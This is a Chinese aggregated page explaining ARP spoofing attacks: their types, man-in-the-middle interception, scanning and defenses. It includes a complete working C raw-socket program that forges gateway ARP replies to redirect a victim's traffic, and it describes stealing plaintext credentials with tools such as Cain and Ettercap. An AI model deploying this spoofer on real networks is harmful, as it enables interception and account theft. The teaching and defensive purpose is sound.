精华内容
下载资源
问答
  • 2021-05-06 09:35:21

    中文名:ARP(地址解析协议)攻击
    外文名:addressresolution protocol
    类 别:通信网络协议类
    病毒方式:程序语言实现方式
    属 性:位于TCP/IP协议栈中的网络层
    影响:网络通道阻塞、网络设备的承载过重

    文章目录

    • 名词解释
    • 工作原理
    • 攻击类型
    • 攻击原理
    • 攻击分类
    • 攻击演化
    • ARP 欺骗网关攻击原理
    • 攻击防护

    名词解释
    ARP(Address Resolution Protocol,地址解析协议)是一个位于TCP/IP协议栈中的网络层,负责将某个IP地址解析成对应的MAC地址。
    ARP 病毒攻击是局域网最常见的一种攻击方式。由于TCP/IP协议存在的一些漏洞给ARP病毒有进行欺骗攻击的机会,ARP利用TCP/IP协议的漏洞进行欺骗攻击,现已严重影响到人们正常上网和通信安全。当局域网内的计算机遭到ARP的攻击时,它就会持续地向局域网内所有的计算机及网络通信设备发送大量的ARP欺骗数据包,如果不及时处理,便会造成网络通道阻塞、网络设备的承载过重、网络的通讯质量不佳等情况。

    工作原理
    ARP病毒并不是某一种真正的病毒,而是对利用ARP协议的漏洞进行传播的一类病毒的总称。ARP协议是TCP/IP协议组的一个协议,这个协议是建立在局域网上主机相互信任的基础上的,局域网中的主机可以自主发送ARP应答消息,其他主机收到应答报文时不会检测该报文的真实性并直接将其记入本机ARP缓存。ARP缓存表采用的是机械制原理,如果表中的某一列长时间不使用,就会被删除。也就是说ARP的缓存表是可以被更改的。表中的IP地址和MAC地址也是随时可以修改,这样在局域网中很容易被ARP欺骗。通常此类攻击的手段有两种:路由欺骗和网关欺骗。

    攻击原理
    ARP攻击主要是通过伪造IP地址和MAC地址进行欺骗。使以太网数据包的源地址、目标地址和ARP通信数量剧增导致网络中断或中间人攻击。ARP攻击主要存在于局域网中。若其中一台计算机感染ARP病毒。就会试图通过ARP欺骗截获局域网内其他计算机的信息,造成局域网内的计算机通信故障。

    1. 交换网络的嗅探
    2. IP地址冲突
    3. 阻止目标的数据包通过网关

    攻击分类
    1、ARP泛洪攻击
    通过向网关发送大量ARP报文,导致网关无法正常响应。首先发送大量的ARP请求报文,然后又发送大量虚假的ARP响应报文,从而造成网关部分的CPU利用率上升难以响应正常服务请求,而且网关还会被错误的ARP表充满导致无法更新维护正常ARP表,消耗网络带宽资源

    2、ARP欺骗主机的攻击

    3、欺骗网关的攻击

    4、中间人攻击
    中间人攻击是同时欺骗局域网内的主机和网关,局域网中用户的数据和网关的数据会发给同一个攻击者,这样,用户与网关的数据就会泄露。

    5、IP地址冲突攻击
    通过对局域网中的物理主机进行扫描,扫描出局域网中的物理主机的MAC地址,然后根据物理主机的MAC进行攻击,导致局域网内的主机产生IP地址冲突,影响用户的网络正常使用。

    攻击演化
    初期:ARP欺骗
    这种有目的的发布错误ARP广播包的行为,被称为ARP欺骗。ARP欺骗,最初为黑客所用,成为黑客窃取网络数据的主要手段。黑客通过发布错误的ARP广播包,阻断正常通信,并将自己所用的电脑伪装成别人的电脑,这样原本发往其他电脑的数据,就发到了黑客的电脑上,达到窃取数据的目的。

    中期:ARP恶意攻击
    后来,有人利用这一原理,制作了一些所谓的“管理软件”,例如网络剪刀手、执法官、终结者等,这样就导致了ARP恶意攻击的泛滥。往往使用这种软件的人,以恶意破坏为目的,多是为了让别人断线,逞一时之快。
    特别是在网吧中,或者因为商业竞争的目的、或者因为个人无聊泄愤,造成恶意ARP攻击泛滥。
    随着网吧经营者摸索出禁用这些特定软件的方法,这股风潮也就渐渐平息下去了。

    末期:综合的ARP攻击
    最近这一波ARP攻击潮,其目的、方式多样化,冲击力度、影响力也比前两个阶段大很多。
    首先是病毒加入了ARP攻击的行列。以前的病毒攻击网络以广域网为主,最有效的攻击方式是DDOS攻击。但是随着防范能力的提高,病毒制造者将目光投向局域网,开始尝试ARP攻击,例如最近流行的威金病毒,ARP攻击是其使用的攻击手段之一。
    相对病毒而言,盗号程序对网吧运营的困惑更大。盗号程序是为了窃取用户帐号密码数据而进行ARP欺骗,同时又会影响到其他电脑上网。
    欺骗攻击编辑

    ARP 欺骗网关攻击原理 基本形式
    中间人攻击
    中间人攻击是最典型的攻击之一,受到黑客的中间人攻击,可能会严重危害服务器和用户。中间人攻击就是攻击者扮演中间人并且实施攻击。它有时被称为monkey-in-the-middle攻击或man-in-the-mobile攻击,是网络监听的一种方式。攻击者进入两台通信的计算机之间,这样他就可以完成网络数据包(以太网数据包)嗅探和分析,中间人计算机将在两台互相通信的目的主机之间转发数据包,而两台目的主机对此毫无察觉。中间人攻击方式不仅对计算机有效,还可以扩展到路由器和网关设备,从而在路由器与主机之间使用中间人攻击。

    克隆攻击
    克隆攻击是另外一种ARP欺骗的方式。我们已经可以通过硬件或软件工具来修改网络接口的MAC地址,Linux用户甚至只需要用ifconfig命令修改一个参数就能修改网络接口的MAC地址。攻击者通过拒绝服务攻击使目标主机与外界失去联系,然后攻击者将自己的IP和MAC地址改成目标机的IP和MAC地址,这样攻击者的主机就成为和目标机一样的副本。

    攻击防护
    1)不要把网络信任关系单纯地建立在IP基础上或MAC基础上(RARP同样存在欺骗的问题),应在网络中架设DHCP服务器,绑定网关与客户端IP+MAC,该做法需要注意的是要保证网络中的dhcp服务器相互之间不冲突。
    2)添加静态的ARP映射表,不让主机刷新设定好的映射表,该做法适用于网络中主机位置稳定,不适用在主机更换频繁的局域网中。
    3)停止使用ARP,将ARP作为永久条目保存在映射表中。
    4)架设ARP服务器。通过该服务器查找自己的ARP映射表来响应其他机器的ARP广播。
    5)IP的传输使用“proxy”代理。
    6)使用防火墙等连续监控网络。注意有使用SNMP的情况下,ARP的欺骗有可能导致陷阱包丢失。

    更多相关内容
  • Cisco:防止VLAN间的ARP攻击解决方案
  • 主要介绍了什么是arp攻击?常见arp攻击有哪些?本文讲解了ARP正常工作、ARP欺骗攻击、ARP攻击为什么会掉网等内容,需要的朋友可以参考下
  • 文章主要讲述的是无线路由器ARP攻击故障排除的几个常用的方法,以下就是对无线路由器ARP攻击故障排除的几个常用的方法具体内容的描述,希望在你今后的学习中会有所帮助。现在的企业网络办公化也正式走向无线网的领域...
  • 原来我实现的时候都写了一大堆,今天想到了最简单实现的方法,分享给大家
  • MyEclipse 和 eclipse 可直接导入运行 查看阅读源码,MyEclipse 和 eclipse 可直接导入运行 查看阅读源码,MyEclipse 和 eclipse 可直接导入运行 查看阅读源码,
  • C语言实现ARP攻击

    2016-03-21 17:38:32
    利用C语言实现ARP攻击,完成了断开目标网络以及接受并转发目标流量的功能
  • arp攻击

    2022-01-09 23:06:01
    若是此时局域网内部有个攻击者呢,那在这种完全信任的模式下攻击者基本可以恣意妄为,现在来模仿下arp攻击arp攻击实现 1/假定被攻击的目标此时需要访问互联网,那么必然经过网关。按照前一篇文章的描述,被攻击者...

    上一章讲了arp协议,可以看到非常简单,只有收和发两种格式,没有任何可信认证,采取的是完全信任模式。

    若是此时局域网内部有个攻击者呢,那在这种完全信任的模式下攻击者基本可以恣意妄为,现在来模仿下arp攻击。

    arp攻击实现

    1/假定被攻击的目标此时需要访问互联网,那么必然经过网关。按照前一篇文章的描述,被攻击者首先需要发arp请求广播去询问网关的mac地址。

    2/ 攻击者通过不断的给被攻击的目标发送arp响应包。内部伪造网关ip和mac地址的对应关系;在下面的代码中,将网关的mac地址伪造成了攻击者的mac地址,虽然网关会给攻击的目标提供正确的mac地址,但是由于攻击者在不停的发送伪造信息,因此正确的mac地址会被覆盖。

    3/最后被攻击的目标将错误的认为攻击者mac地址是网关地址,此时他会将数据发送攻击者这边来,我们通过wireshark来进行捕捉。

    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <arpa/inet.h>
    #include <memory.h>
    #include <net/ethernet.h>
    #include <unistd.h>
    #include <arpa/inet.h>
    #include <net/if.h>
    #include <linux/if_packet.h>
    #include <linux/if_ether.h>
    #include <sys/ioctl.h>
    #include <bits/ioctls.h>
    #include <string.h>
    
    struct ARP_header
    {
        unsigned short    Hardware ;
        unsigned short    Protocol ;
        unsigned char    HardwareAddressLen ;
        unsigned char    ProtocolAddressLeng ;
        unsigned short    Operation ;
        unsigned char    SourceHardareAddr[6] ;
        unsigned char    SourceProtocolAddr[4] ;
        unsigned char    TargetHardareAddr[6] ;
        unsigned char    TargetProtocolAddr[4] ;
    };
    
    
    int main( int argc, char * argv[]) {
        //网卡名字, 这个要改成你自己计算机的网卡名
        unsigned char NetInterface[16] = "wlp4s0";
        struct ARP_header arp_sp;
        arp_sp.Hardware = htons(1);
        arp_sp.Protocol = htons(2048);
        arp_sp.HardwareAddressLen = 6;
        arp_sp.ProtocolAddressLeng = 4;
        arp_sp.Operation = htons(2);
    
        unsigned char EthernetFrame[64] = {0};
        bzero(EthernetFrame, 64);
        //假数据,发送伪造的网关地址和MAC 这里填本机的mac
        unsigned char Spoofing_MAC[6] = {0Xf8,0X59,0X71,0X10,0X07,0X98};
        unsigned char Spoofing_IP[4] = {192&0Xff,168&0Xff,1&0Xff,1&0XFF};
        //目标的地址和目标的MAC
        unsigned char Target_MAC[6] = { 0Xf8, 0Xff, 0Xc2, 0X18, 0Xe7, 0Xf9};
        unsigned char Target_IP[4] = {192&0Xff,168&0Xff,1&0Xff,2&0Xff};
        //本机的IP地址和MAC地址
        unsigned char Source_MAC[6] = {0Xf8,0X59,0X71,0X10,0X07,0X98};
        unsigned char Source_IP[4] = {192&0Xff,168&0Xff,1&0Xff,5&0Xff};
        //ARP内容
        memcpy(arp_sp.SourceHardareAddr, Spoofing_MAC, sizeof(char)*6);
        memcpy(arp_sp.SourceProtocolAddr, Spoofing_IP, sizeof(char)*4);
        memcpy(arp_sp.TargetHardareAddr, Target_MAC, sizeof(char)*6);
        memcpy(arp_sp.TargetProtocolAddr, Target_IP, sizeof(char)*4);
        //以太网头部
        memcpy(EthernetFrame, Target_MAC, sizeof(char)*6);
        memcpy(EthernetFrame+6, Source_MAC, sizeof(char)*6);
        EthernetFrame[12] = ETH_P_ARP / 256;
        EthernetFrame[13] = ETH_P_ARP % 256;
        //以太网头部和ARP数据连接起来
        memcpy(EthernetFrame+14, &arp_sp, sizeof(char)*28);
    
        int ARPSocket;
        printf("Create Raw Socket");
        ARPSocket = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
        if( ARPSocket < 0 ) {
            perror("socket failed");
            exit(1);
        }
        //获取设备
        struct sockaddr_ll device;
        device.sll_ifindex = if_nametoindex((const char*)NetInterface);
        if( device.sll_ifindex == 0 ) {
            perror("sockaddr_ll error");
            exit(1);
        }
        printf("Index of interface %s is %d",NetInterface, device.sll_ifindex);
        device.sll_halen = htons(6);
        device.sll_family = AF_PACKET;
        int i = 0;
        //连续发送100次
        for( i; i<100; i++) {
            int sFd = sendto(ARPSocket, EthernetFrame, 42, 0, (struct sockaddr*)&device, sizeof(device));
            if( sFd <=0 ) {
                perror("sendto failed");
                exit(1);
            }
            sleep(1);
        }
    
        close(ARPSocket);
    }
    
    

    192.168.1.2是被攻击的目标,它此时正在ping百度(访问外网需要通过网关192.168.1.1)

    192.168.1.5是攻击者,它在不停的给192.168.1.2发送假的网关 mac地址,(伪造的数据将网关的ip和192.168.1.5的mac对应起来)

    192.168.1.2随着这个假的mac地址将数据发送到了192.168.1.5的设备上

    如图是192.168.1.5上面wireshark抓包,可以看到收到了192.168.1.2的ping 36.152.44.95的操作。
    如果192.168.1.2正在通过非加密的方式登录账户和密码,那么也是可以被192.168.1.5给抓包抓到。

    wireshark

    展开全文
  • arp攻击脚本.py

    2020-03-22 20:17:49
    arp脚本一键式攻击,ARP攻击就是通过伪造IP地址和MAC地址实现ARP欺骗 能够在网络中产生大量的ARP通信量使网络阻塞 攻击者只要持续不断的发出伪造的ARP响应包就能更改目标主机ARP缓存中的IP-MAC条目 造成网络中断...
  • 主要通过wireshark抓包分析了TCP三次握手和四次挥手的过程,分析了包的基本构成,以及icmp协议等;通过ARP攻击和泛洪攻击的实战,了解了网络中一些基本的的攻击行为;介绍了一下常见网络病毒的端口信息。
  • 兖州矿业(集团)公司济宁三号煤矿开展了对ARP攻击原理及解决方法的研究,保证了通信的顺利进行。(1)按照以下方法查看是否受到ARP攻击:①查看ARP缓存表。在命令提示符下,输入"arp-a"查看ARP缓存表中内容。发现自己电脑...
  • 趋势科技中国区网络安全监测实验室近日推出了全新的Anti-ARP解决方案,可以从根源上解决ARP攻击的问题。该方案在攻击源头处便进行阻截,阻止虚假的ARP响应包被发送出去,从而将攻击扼杀在萌芽之中。该方案采用了相当...
  • 防止ARP攻击,使用命令route、grep、ifconfig等,需要的朋友可以参考下
  • 本文针对目前常见的ARP攻击,介绍了H3C网络设备所能提供的防范ARP攻击的方法 以及典型组网应用。
  • 西山煤电集团公司企业OA系统已经进入了试运行阶段,在近半年的试运行过程中,企业OA系统有效...介绍了ARP攻击欺骗的原理以及一些实用性较强且操作简单的检测和抵御攻击的有效方法,以解决因ARP攻击而引发的网络安全问题。
  • arp攻击教程

    2018-05-03 12:57:44
    arp攻击教程 arp攻击教程 arp攻击教程 arp攻击教程 arp攻击教程
  • 本文主要讲解了无线路由器以及ARP攻击的相关内容。如何具体的排除技巧和相关的故障处理,首先就是路由器ARP的排除技巧了。之后对于连接错误等问题在进行一下解析。
  • 复制代码 代码如下:#coding:utf-8#example :sudo python arp_dos.py 192.168.1.103 from scapy.all import ARP,sendimport os,re,sys def get_gateway_ip(): t=os.popen(‘route -n’) for i in t: if i.starts...
  • ARP攻击软件

    2017-07-06 17:45:44
    ARP攻击演示软件,分析攻击原理,积极预防 黑客,小白,白帽子,arp,arp攻击原理
  • 局域网ARP攻击检测器

    2019-04-16 16:40:04
    局域网arp攻击检测器,挺好用的,操作简单,上次公司中永恒之蓝这东西就立下了汗马功劳
  • 攻防实验-arp攻击.pdf

    2019-12-10 22:25:03
    比较详细的介绍了ARP攻击的步骤,利用ARP攻击劫持流量,或者达到阻断网络的目的。
  • 华为交换机如何识别arp攻击.doc
  • 简单的arp攻击

    2019-04-06 01:22:45
    NULL 博文链接:https://malixxx.iteye.com/blog/452586
  • ARP 攻击监控软件

    2013-11-06 13:16:40
    防止ARP 攻击的监控软件,我使用了一下,感觉还不错。
  • 一、ARP攻击概述在上篇文章里,我给大家普及了ARP协议的基本原理,包括ARP请求应答、数据包结构以及协议分层标准,今天我们继续讨论大家最感兴趣的话题:ARP攻击原理是什么?通过ARP攻击可以做什么,账号是否可以被...

    一、ARP攻击概述

    在上篇文章里,我给大家普及了ARP协议的基本原理,包括ARP请求应答、数据包结构以及协议分层标准,今天我们继续讨论大家最感兴趣的话题:ARP攻击原理是什么?通过ARP攻击可以做什么,账号是否可以被窃取?有哪些常见的ARP渗透(攻击)工具可以用来练手?ARP扫描和攻击有什么区别,底层数据包特征是怎样的?

    接下来,我们通过图解的方式来深入了解ARP攻击是如何实现的。

    二、ARP攻击原理

    但凡局域网存在ARP攻击,都说明网络存在"中间人",我们可以用下图来解释。

    a1bbd54a6d527c1bdbf7efe381bf1848.png

    在这个局域网里面,PC1、PC2、PC3三台主机共同连接到交换机SW1上面,对应3个接口port1/2/3。假设PC3这台主机安装了ARP攻击软件或遭受ARP病毒,成为这个网络的攻击者(hacker),接下来,PC3是如何攻击的?先不急,先来回顾下PC1和PC2是如何通信的。

    55a747daf2645747f573053aaafbaeb6.png

    ①PC1需要跟PC2通信,通过ARP请求包询问PC2的MAC地址,由于采用广播形式,所以交换机将ARP请求包从接口P1广播到P2和PC3。(注:交换机收到广播/组播/未知帧都会其他接口泛洪)

    ②PC2根据询问信息,返回ARP单播回应包;此时PC3作为攻击者,没有返回ARP包,但是处于"监听"状态,为后续攻击做准备。

    ③PC1和PC2根据ARP问答,将各自的ARP映射信息(IP-MAC)存储在本地ARP缓存表。

    ④交换机根据其学习机制,记录MAC地址对应的接口信息,存储在CAM缓存表(也称为MAC地址表)。交换机收到数据包时,会解封装数据包,根据目标MAC字段进行转发。

    关于上面的图解,我们要记住这些关键知识(敲黑板!):

    ①主机通信需要查找ARP表,而交换机通信需要查找CAM表(路由器则查找Route表)。

    注:ARP表:ipmac CAM表:macport (Route表:routeport)

    ②交换机基于源MAC地址学习,基于目的MAC地址转发。

    ③同一局域网内,攻击者可以根据主机的ARP广播请求监听其IP和MAC信息。

    注:这里是"被动监听",跟后面要谈到的"主动扫描",原理上有区分,这里先埋个坑)

    接下来是重点,我们来看看PC3(Hacker)是如何发起ARP攻击的=>

    3f183c6d56f2535500c5a45995d884b1.png

    正常情况下,若收到的ARP请求不是给自己的,则直接丢弃;而这里PC3(Hacker)在监听之后,发起了ARP回应包:我就是PC2(IP2-MAC3)。

    从拓扑可以出现,PC3明明是IP3对应MAC3,很显然这就是一个ARP欺骗行为。于此同时,PC2正常的ARP回应包也交到了PC1手中,我们来看PC1接下来如何处理的:

    960318ad861f33ee80e9ce45bb9b73b2.png

    PC1收到两个ARP回应包,内容分别如下:

    ③我是PC2,我的IP地址是IP2,我的MAC地址是MAC2;

    ③我是PC2,我的IP地址是IP2,我的MAC地址是MAC3;

    PC1一脸懵:咋回事?还有这操作?不管了,我选最新的!(后到优先)

    这里给大家顺便普及下网络协议里各种表在处理缓存信息的方式:

    要么"先到先得",要么"后到优先"。上面提到的ARP和CAM表,就是遵循"后到优先"原则,而后面章节我们会讲到的DHCP表,则遵循"先到先得"原则。

    那么问题来了,上面两个ARP回应包到底哪个先到哪个后到呢?

    作为初学者,可能还在纠结前后这种naive的问题;而作为hacker,只要持续不停发出ARP欺骗包,就一定能够覆盖掉正常的ARP回应包。稳健的ARP嗅探/渗透工具,能在短时间内高并发做网络扫描(例如1秒钟成千上百的数据包),能够持续对外发送欺骗包。

    无论如何,当PC1和PC2这种"小白"用户遇到PC3(hacker)时,最终的结果一定是这样的:

    c7e92cb6f58d7799d9c40a88a448553c.png

    小白 vs 黑客,很明显的较量,PC1最终记录的是虚假的ARP映射:IP2MAC3,得到错误信息的PC1,接下来会发生什么情况呢?(我们以PC1 ping PC2为例)

    15d81ced8e1ddeb0cdfa1bea19d957fc.png

    根据数据封装规则,当PC1要跟PC2进行通信时,无论是发生PING包还是发送其他数据,首先要查找ARP表,然后在网络层打上源目IP,在链路层打上源目MAC,然后将数据包发送给交换机。交换机收到之后对数据进行解封装,并且查看CAM表(基于目的MAC转发),由于目标MAC3对应Port3,所以交换机自然而然将其转发给PC3。

    就这样,PC1本来要发给PC2的数据包,落到了PC3(Hacker)手里,这就完成了一次完整的ARP攻击。反过来,如果PC2要将数据包发送给PC1,PC3仍然可以以同样的ARP欺骗实现攻击,这就有了下面这张图(PC3既欺骗了PC1,也欺骗了PC2)。

    2ca0dc8d6514973f16df13a7e3df4a4a.png

    此时,PC1和PC2的通信数据流被PC3拦截,形成了典型的"中间人攻击"。那么,一旦被攻击并拦截,攻击者能做什么,普通用户又会遭受什么损失?这里给大家举几个常见的例子=>

    ①攻击者既然操控了数据流,那么直接断开通信是轻而易举的,即"断网攻击",例如,PC1发给PC2的数据在PC3这里可以直接丢弃,而如果这里的PC2是一台出口路由器(无线路由器),那就意味着PC1直接无法连上互联网。

    ②"断网攻击"显然容易被发现,而且比较"残忍",所以就有了更加常见的应用-"限速"。例如,在宿舍上网突然很慢,在网吧上网突然打不开网页,如果这个网络没有安全防御,那么很有可能有"内鬼"。

    ③其实无论是"断网攻击"还是"限速",整体还是比较"善良",因为这里流量里面的核心数据还没有被"提取"出来。如果攻击者是一名真正的黑客,他的目的一定不会这么无聊,因为内网流量对于黑客是没有太大价值的,而只有"用户隐私",例如常见网站的登录账号密码,这些才是最有价值的。

    问:遭受ARP攻击之后,哪些账号可能被窃取?

    答:任何基于明文传输的应用,都可以被窃取。例如,如果一个网站不是HTTPS协议,而是基于HTTP明文传输,那么当你登录这个网站时,你的密码就会被窃取。除了http(web应用),常见的还有telnet、ftp、pop3/smtp/imap(邮箱)等应用,都很容易泄露密码。

    三、常见ARP渗透工具与底层原理分析

    基于ARP欺骗原理设计出来的渗透/攻击工具非常多,而最终能实现什么功能则各有差异,简单举几个例子:

    ①无毒无害型的仅具备ARP扫描功能,用来发现内网主机;例如Metasploit里面的arping/arpscan相关模块;

    ②ARP扫描+流量控制(限速或限制能上哪些网站和应用);例如Windows下的P2P终结者;

    ③ARP扫描+账号窃取(网站、邮箱、各种);最强的莫过于Windows下的Cain,当然还有跨平台的Ettercap(需配合其他工具);

    当然,如果攻击者足够强悍,也可以基于协议底层原理,编写自己的ARP工具。这里我通过wirehshark给大家还原真实网络中常见的ARP扫描和欺骗攻击(具体的软件使用这里暂时不出现,大家重点关注底层实现)。

    f8246c4d29518f0dadc412a8c39e66a1.png

    在这张图里面,Hacker(就是我...)接入了一个WiFi网络,这个10.1.20.0/24便是所在的网段。刚进来一个陌生网络,Hacker只知道自己的IP信息,例如IP地址是10.1.20.253,网关地址是10.1.20.254,而这个局域网的其他设备是什么?有多少台?地址分布是多少?Hacker都不知道,接下来怎么办呢?是不是要直接发动ARP攻击了?

    不用这么着急,咋们至少要先了解下这个网络,进行基本的扫描和踩点。这个时候通过ARP工具对这个WiFi网络进行扫描,具体的数据包截图如下:

    c028e779a17362b7be70f5d7411f4a5e.png

    上面的ARP扫描过程,大概的情况是这样的=>

    d0e08225b3a27b97ce80218a2d929209.png

    其实,这就是典型的"盲扫"或者"暴力扫描":反正我不知道网络到底有多少主机,那我就尝试一下把整个网段全部问一遍得了。好比老师上课点名,把每个学生的桌位号念一遍,谁举手就到勤,没举手就算逃课。

    那么,这个实际网络里面,到底谁"举手"了呢?我们来看Wireshark抓包情况。

    d02fd1d60ea4054a94a065b24005bbb5.png

    在ARP应答信息里面,除了IP地址和MAC信息,我们还能看到相关的设备厂商信息,例如cisco、meizu、apple、xiaomi等,这其实就是依靠MAC地址前面24位的OUI(机构唯一标识符)来识别的。

    Wireshark或扫描器能够帮我们将OUI转为对应的厂商(还有一些扫描器基于Netbios协议,还能找到电脑的主机名),所以,扫描之后可以得到下面这张图片=>

    dc361d96fb6f0b94576900ac1a66ad86.png

    通过扫描,我们已经知道了整个网络的主机信息,例如20.254对应cisco,应该是路由器,20.248对应apple,是苹果手机,20.249对应xiaomi,是小米手机,以此类推.....

    接下来,如何进行ARP欺骗攻击呢?这里将最重点的数据包截取出来=>

    cde023e43a6e33d083d0a54aaaebfab8.png

    根据之前的信息,我们知道00:08:ca:86:f8:0f其实就是hacker的mac地址,并且对应的真正的IP地址应该是10.1.20.253。而这里很明显是hacker在欺骗局域网其他主机,它对外声称:自己就是"所有人"。尤其是上面标红的主机,我们已经知道是小米、思科、苹果等设备,但是hacker都声明是自己!这样做的意义在于覆盖掉其他主机的ARP缓存表信息,并生成错误的ARP映射,最终将通信流量交给hacker。

    当然,还有另外一种ARP欺骗的做法:hacker告诉所有人,自己就是网关。因为其他主机访问互联网必经之路便是网关(出口路由器/无线路由器),通过这种方式,同样可以截取到用户数据流,这里给出另外一个网络的实现过程=>

    Hacker欺骗主机Honhai,告诉它:我就是网关(10.1.1.254)

    4b17546519de7955449c38fcf49961e0.png

    Hacker欺骗主机Apple,告诉它:我就是网关(10.1.1.254)

    e3806e7dee660f5507178d5073b71d80.png

    依此类推,Hacker会告诉局域网所有主机:自己就是网关,并且后续可以把数据都丢给我,我来转发到互联网。

    四、ARP攻击总结

    ①ARP缓存表基于"后到优先"原则,IP与MAC的映射信息能被覆盖;

    ②ARP攻击基于伪造的ARP回应包,黑客通过构造"错位"的IP和MAC映射,覆盖主机的ARP表(也被称为"ARP毒化"),最终截取用户的数据流;

    ③一旦遭受ARP攻击,账号密码都可能被窃取(如果通信协议不是加密的);

    ④通过Wireshark数据包分析,我们掌握了真实网络中ARP底层攻击原理及数据包组成。

    展开全文
  • 这里是arp的攻击方式,你可以做成arp攻击。 复制代码 代码如下: #!/usr/bin/python “”” ARP attack “”” import sys, os from scapy.all import * if os.geteuid() != 0:  print “This program must be run ...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 29,623
精华内容 11,849
关键字:

arp攻击